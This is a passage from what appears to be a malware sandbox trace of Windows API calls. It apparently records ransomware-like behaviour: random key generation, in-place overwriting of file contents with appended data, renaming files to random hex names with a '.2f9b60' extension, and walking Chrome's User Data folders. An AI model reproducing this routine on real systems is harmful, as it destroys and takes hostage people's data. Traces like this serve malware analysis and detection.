returned 0x391876c5 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x7b570848 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x779e852b [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x5dabf308 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x6f8d7bd3 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x294af9d8 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x2f88661b [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x7965ebac [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x32cd6977 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x2a8652e4 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x1b987b11 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0xbd461a3 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x220575a4 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x53e16aa2 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x46f52a8b [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x4d45f86 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x631a2490 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x36e9b3df [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x6e1a928a [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x52f8899a [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x2f10bc22 [0130.933] SetFilePointerEx (in: hFile=0x1ab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.933] ReadFile (in: hFile=0x1ab4, lpBuffer=0x41b5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2193f980, lpOverlapped=0x0 | out: lpBuffer=0x41b5f0f0*, lpNumberOfBytesRead=0x2193f980*=0x3c00, lpOverlapped=0x0) returned 1 [0130.942] SetFilePointerEx (in: hFile=0x1ab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0130.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867040 [0130.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202666c0 [0130.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202666c0) returned 1 [0130.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b5b4e0 [0130.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202666c0 [0130.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0130.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266780) returned 1 [0130.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0130.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0130.943] WriteFile (in: hFile=0x1ab4, lpBuffer=0x41b5b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2193f980, lpOverlapped=0x0 | out: lpBuffer=0x41b5b4e0*, lpNumberOfBytesWritten=0x2193f980*=0x3c00, lpOverlapped=0x0) returned 1 [0166.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b5b4e0) returned 1 [0166.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b5f0f0) returned 1 [0166.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9edb0 [0166.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0166.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867d40 [0166.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1ac0 [0166.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1ac0) returned 1 [0166.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9ea30 [0166.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1ac0 [0166.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1490 [0166.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1490) returned 1 [0166.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0166.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0166.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x42c20680 [0166.183] SetFilePointerEx (in: hFile=0x1ab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.183] WriteFile (in: hFile=0x1ab4, lpBuffer=0x42c20680*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2193fa30, lpOverlapped=0x0 | out: lpBuffer=0x42c20680*, lpNumberOfBytesWritten=0x2193fa30*=0x11a, lpOverlapped=0x0) returned 1 [0180.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c650 [0180.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b030 [0180.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202661e0 [0180.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202661e0) returned 1 [0180.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202661e0 [0180.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266210 [0180.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266180 [0180.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266180) returned 1 [0180.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b030) returned 1 [0180.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c650) returned 1 [0180.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1ced5800 [0180.829] sprintf (in: _Dest=0x1ced5800, _Format="%c%c" | out: _Dest="a4") returned 2 [0180.829] sprintf (in: _Dest=0x1ced5802, _Format="%c%c" | out: _Dest="88") returned 2 [0180.829] sprintf (in: _Dest=0x1ced5804, _Format="%c%c" | out: _Dest="5f") returned 2 [0180.829] sprintf (in: _Dest=0x1ced5806, _Format="%c%c" | out: _Dest="a4") returned 2 [0180.829] sprintf (in: _Dest=0x1ced5808, _Format="%c%c" | out: _Dest="ae") returned 2 [0180.829] sprintf (in: _Dest=0x1ced580a, _Format="%c%c" | out: _Dest="e9") returned 2 [0180.829] sprintf (in: _Dest=0x1ced580c, _Format="%c%c" | out: _Dest="55") returned 2 [0180.829] sprintf (in: _Dest=0x1ced580e, _Format="%c%c" | out: _Dest="4d") returned 2 [0180.829] sprintf (in: _Dest=0x1ced5810, _Format="%c%c" | out: _Dest="f4") returned 2 [0180.829] sprintf (in: _Dest=0x1ced5812, _Format="%c%c" | out: _Dest="fc") returned 2 [0180.829] sprintf (in: _Dest=0x1ced5814, _Format="%c%c" | out: _Dest="d6") returned 2 [0180.829] sprintf (in: _Dest=0x1ced5816, _Format="%c%c" | out: _Dest="e2") returned 2 [0180.829] sprintf (in: _Dest=0x1ced5818, _Format="%c%c" | out: _Dest="e1") returned 2 [0180.829] sprintf (in: _Dest=0x1ced581a, _Format="%c%c" | out: _Dest="75") returned 2 [0180.829] sprintf (in: _Dest=0x1ced581c, _Format="%c%c" | out: _Dest="ba") returned 2 [0180.829] sprintf (in: _Dest=0x1ced581e, _Format="%c%c" | out: _Dest="70") returned 2 [0180.829] sprintf (in: _Dest=0x1ced5820, _Format="%c%c" | out: _Dest="fb") returned 2 [0180.829] sprintf (in: _Dest=0x1ced5822, _Format="%c%c" | out: _Dest="7b") returned 2 [0180.829] sprintf (in: _Dest=0x1ced5824, _Format="%c%c" | out: _Dest="e8") returned 2 [0180.829] sprintf (in: _Dest=0x1ced5826, _Format="%c%c" | out: _Dest="bd") returned 2 [0180.830] sprintf (in: _Dest=0x1ced5828, _Format="%c%c" | out: _Dest="b2") returned 2 [0180.830] sprintf (in: _Dest=0x1ced582a, _Format="%c%c" | out: _Dest="9c") returned 2 [0180.830] sprintf (in: _Dest=0x1ced582c, _Format="%c%c" | out: _Dest="67") returned 2 [0180.830] sprintf (in: _Dest=0x1ced582e, _Format="%c%c" | out: _Dest="c1") returned 2 [0180.830] sprintf (in: _Dest=0x1ced5830, _Format="%c%c" | out: _Dest="ed") returned 2 [0180.830] sprintf (in: _Dest=0x1ced5832, _Format="%c%c" | out: _Dest="e3") returned 2 [0180.830] sprintf (in: _Dest=0x1ced5834, _Format="%c%c" | out: _Dest="db") returned 2 [0180.830] sprintf (in: _Dest=0x1ced5836, _Format="%c%c" | out: _Dest="96") returned 2 [0180.830] sprintf (in: _Dest=0x1ced5838, _Format="%c%c" | out: _Dest="d2") returned 2 [0180.830] sprintf (in: _Dest=0x1ced583a, _Format="%c%c" | out: _Dest="c6") returned 2 [0180.830] sprintf (in: _Dest=0x1ced583c, _Format="%c%c" | out: _Dest="a2") returned 2 [0180.830] sprintf (in: _Dest=0x1ced583e, _Format="%c%c" | out: _Dest="5d") returned 2 [0180.830] sprintf (in: _Dest=0x1ced5840, _Format="%c%c" | out: _Dest="b2") returned 2 [0180.830] sprintf (in: _Dest=0x1ced5842, _Format="%c%c" | out: _Dest="c8") returned 2 [0180.830] sprintf (in: _Dest=0x1ced5844, _Format="%c%c" | out: _Dest="1b") returned 2 [0180.830] sprintf (in: _Dest=0x1ced5846, _Format="%c%c" | out: _Dest="af") returned 2 [0180.830] sprintf (in: _Dest=0x1ced5848, _Format="%c%c" | out: _Dest="29") returned 2 [0180.830] sprintf (in: _Dest=0x1ced584a, _Format="%c%c" | out: _Dest="ed") returned 2 [0180.830] sprintf (in: _Dest=0x1ced584c, _Format="%c%c" | out: _Dest="cc") returned 2 [0180.830] sprintf (in: _Dest=0x1ced584e, _Format="%c%c" | out: _Dest="c9") returned 2 [0180.830] RtlInitAnsiString (in: DestinationString=0x2193faa8, SourceString="a4885fa4aee9554df4fcd6e2e175ba70fb7be8bdb29c67c1ede3db96d2c6a25db2c81baf29edccc9" | out: DestinationString="a4885fa4aee9554df4fcd6e2e175ba70fb7be8bdb29c67c1ede3db96d2c6a25db2c81baf29edccc9") [0180.830] RtlAnsiStringToUnicodeString (in: DestinationString=0x2193fa78, SourceString="a4885fa4aee9554df4fcd6e2e175ba70fb7be8bdb29c67c1ede3db96d2c6a25db2c81baf29edccc9", AllocateDestinationString=1 | out: DestinationString="a4885fa4aee9554df4fcd6e2e175ba70fb7be8bdb29c67c1ede3db96d2c6a25db2c81baf29edccc9") returned 0x0 [0180.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050cea0 [0180.831] RtlFreeAnsiString (AnsiString="a") [0180.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5800) returned 1 [0180.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202661e0) returned 1 [0180.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266210) returned 1 [0180.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20680) returned 1 [0180.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ea30) returned 1 [0180.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1ac0) returned 1 [0180.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9edb0) returned 1 [0180.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202666c0) returned 1 [0180.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266750) returned 1 [0180.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202667b0) returned 1 [0180.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202667e0) returned 1 [0180.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x2027a650 [0180.836] wcscat (in: _Dest=0x2027a650, _Source="a4885fa4aee9554df4fc" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\a4885fa4aee9554df4fc") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\a4885fa4aee9554df4fc" [0180.836] wcscat (in: _Dest=0x2027a650, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\a4885fa4aee9554df4fc.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\a4885fa4aee9554df4fc.2f9b60" [0180.836] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\a4885fa4aee9554df4fc.2f9b60", NtPathName=0x2193fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\a4885fa4aee9554df4fc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0180.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x42c36ed0 Thread: id = 1707 os_tid = 0xb94 [0130.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867940 [0130.940] wcscpy (in: _Dest=0x1b867940, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" [0130.940] wcscat (in: _Dest=0x1b867940, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\" [0130.940] wcscat (in: _Dest=0x1b867940, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*" [0130.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1df90 [0130.940] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceb20 [0130.941] wcscmp (_String1=".", _String2=".") returned 0 [0130.941] FindNextFileW (in: hFindFile=0x1b7ceb20, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.941] wcscmp (_String1="..", _String2=".") returned 1 [0130.941] wcscmp (_String1="..", _String2="..") returned 0 [0130.941] FindNextFileW (in: hFindFile=0x1b7ceb20, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0130.941] wcscmp (_String1="User Data", _String2=".") returned 1 [0130.941] wcscmp (_String1="User Data", _String2="..") returned 1 [0130.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a46e0 [0130.941] wcscpy (in: _Dest=0x202a46e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" [0130.941] wcscat (in: _Dest=0x202a46e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\" [0130.941] wcscat (in: _Dest=0x202a46e0, _Source="User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0151.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20507530 [0151.309] wcscpy (in: _Dest=0x20507530, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0151.309] wcscat (in: _Dest=0x20507530, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0151.310] wcscat (in: _Dest=0x20507530, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*" [0151.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027f650 [0151.310] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d6d0 [0151.317] wcscmp (_String1=".", _String2=".") returned 0 [0151.317] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.330] wcscmp (_String1="..", _String2=".") returned 1 [0151.330] wcscmp (_String1="..", _String2="..") returned 0 [0151.330] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0151.330] wcscmp (_String1="CertificateTransparency", _String2=".") returned 1 [0151.330] wcscmp (_String1="CertificateTransparency", _String2="..") returned 1 [0151.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20279c70 [0151.330] wcscpy (in: _Dest=0x20279c70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0151.330] wcscat (in: _Dest=0x20279c70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0151.330] wcscat (in: _Dest=0x20279c70, _Source="CertificateTransparency" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0151.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x119580 [0151.331] wcscpy (in: _Dest=0x119580, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0151.331] wcscat (in: _Dest=0x119580, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\" [0151.331] wcscat (in: _Dest=0x119580, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*" [0151.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027d1c0 [0151.331] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc70 [0151.370] wcscmp (_String1=".", _String2=".") returned 0 [0151.370] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.370] wcscmp (_String1="..", _String2=".") returned 1 [0151.370] wcscmp (_String1="..", _String2="..") returned 0 [0151.370] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x2027d1c0 | out: lpFindFileData=0x2027d1c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.370] FindClose (in: hFindFile=0x1cd9dc70 | out: hFindFile=0x1cd9dc70) returned 1 [0151.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d1c0) returned 1 [0151.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119580) returned 1 [0151.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279c70) returned 1 [0151.371] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0151.371] wcscmp (_String1="Crashpad", _String2=".") returned 1 [0151.371] wcscmp (_String1="Crashpad", _String2="..") returned 1 [0151.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd65ef0 [0151.372] wcscpy (in: _Dest=0x1cd65ef0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" [0151.372] wcscat (in: _Dest=0x1cd65ef0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0151.372] wcscat (in: _Dest=0x1cd65ef0, 